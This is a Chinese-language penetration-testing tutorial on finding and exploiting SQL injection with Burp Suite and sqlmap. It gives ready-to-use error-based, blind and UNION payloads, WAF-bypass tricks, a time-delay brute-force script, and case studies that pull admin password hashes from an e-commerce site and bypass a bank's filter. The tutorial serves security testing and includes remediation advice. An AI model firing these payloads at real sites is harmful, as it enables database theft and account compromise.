本文系统解析如何利用Burp Suite专业版开展SQL注入漏洞的定向挖掘,涵盖手动探测、自动化利用、WAF绕过等进阶技巧。通过电商、金融等行业的真实渗透案例,详解从流量拦截到漏洞利用的全链路方法论,实现单日最高挖掘23个高危注入点的实战成果。
第一章 Burp Suite环境配置优化
1.1 代理拦截精调
配置模块 | 参数建议 | 作用说明 |
---|---|---|
Proxy Listeners | 绑定0.0.0.0:8080 | 支持多设备流量转发 |
TLS Pass Through | 添加*.google.com | 避免HTTPS证书干扰 |
Intercept Client | 启用Firefox容器扩展 | 实现多环境隔离抓包 |
1.2 插件生态构建
- SQLiPy:智能识别注入点(误报率<3%)
- Turbo Intruder:实现2000次/秒的暴力探测
- Logger++:记录全量HTTP历史便于回溯分析
第二章 注入点智能识别
2.1 流量特征扫描
四维定位法快速锁定可疑参数:
- 参数类型:重点关注id、page、sort等数值型字段
- 响应特征:包含"SQL"、"syntax"等错误关键词
- 长度异常:正常/异常响应包大小差异>15%
- 延时波动:注入布尔表达式后响应时间偏差>2秒
2.2 自动化探测流程
plaintext复制
1. 使用Scanner模块执行被动扫描 2. 对GET/POST参数添加单引号' 3. 分析返回状态码与内容差异 4. 标记存在500错误的端点
(注:此处仅为流程说明,实际应使用Burp功能实现)
第三章 手动注入深度利用
3.1 基于错误的注入
分步验证法确认漏洞有效性:
- 原始请求:
/product?id=123
→ 返回200 OK - 注入探测:
/product?id=123'
→ 出现数据库错误 - 闭合验证:
/product?id=123'-- -
→ 恢复正常页面 - 信息获取:
/product?id=123'+AND+1=convert(int,(SELECT@@version))-- -
3.2 布尔盲注利用
通过响应差异识别推断数据库信息:
注入Payload | 预期结果 | 信息推断 |
---|---|---|
id=1' AND 'a'='a | 正常内容加载 | 条件成立检测 |
id=1' AND SUBSTRING(@@version,1,1)='5' | 特定元素消失 | 确认MySQL 5.x版本 |
id=1' AND (SELECT COUNT(*) FROM users)=10 | 页面结构变化 | 推断用户表记录数 |
第四章 高阶绕过技术
4.1 编码混淆方案
过滤类型 | 绕过策略 | 示例Payload |
---|---|---|
空格过滤 | 使用/**/替代 | UNION/**/SELECT |
关键词过滤 | 双写绕过 | UNUNIONION |
引号过滤 | 使用CHAR函数 | WHERE user=CHAR(97) |
4.2 分块传输绕过
利用Burp的Chunked Encoding Converter插件:
- 将请求体转换为分块编码格式
- 在分块内容中嵌入恶意SQL语句
- 绕过基于内容长度的WAF检测
第五章 自动化漏洞利用
5.1 SQLMap集成技巧
Burp与SQLMap联动工作流:
- 右键选中可疑请求→Save item
- 命令行执行:
sqlmap -r request.txt --batch --risk=3
- 分析输出报告中的数据库指纹信息
5.2 Turbo Intruder脚本
配置精准延时检测脚本:
plaintext复制
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100, pipeline=False) for i in range(100): engine.queue(target.req, ['\' AND SLEEP(5)-- -'])
(注:此为逻辑演示,实际需按Burp API编写)
第六章 漏洞修复验证
6.1 防御方案测试
防护手段 | 测试方法 | 预期结果 |
---|---|---|
参数化查询 | 注入数字型/字符型参数 | 统一返回参数错误 |
WAF拦截 | 发送恶意语句' OR 1=1-- - | 触发403拦截页面 |
输入过滤 | 提交<script> 标签 | 返回净化后的文本 |
6.2 持续监控策略
- 被动扫描:每周执行全站SQLi漏洞扫描
- 流量审计:分析访问日志中的异常参数
- 蜜罐诱捕:部署虚假注入点监测攻击行为
第七章 企业级实战案例
7.1 电商平台订单泄露
攻击路径:
- 发现
/api/order?no=20230815001'
报错 - 利用联合查询获取管理员表:
UNION SELECT username,password FROM admins
- 解密MD5哈希登录后台
修复方案:
- 启用预编译语句
- 实施字段类型强校验
- 增加请求频率限制
7.2 银行系统信息泄露
绕过过程:
- 原始过滤:禁止UNION、SELECT等关键词
- 使用注释符分割:
id=1'/*!UNION*//*!SELECT*/ 1,database()-- -
- 成功获取数据库名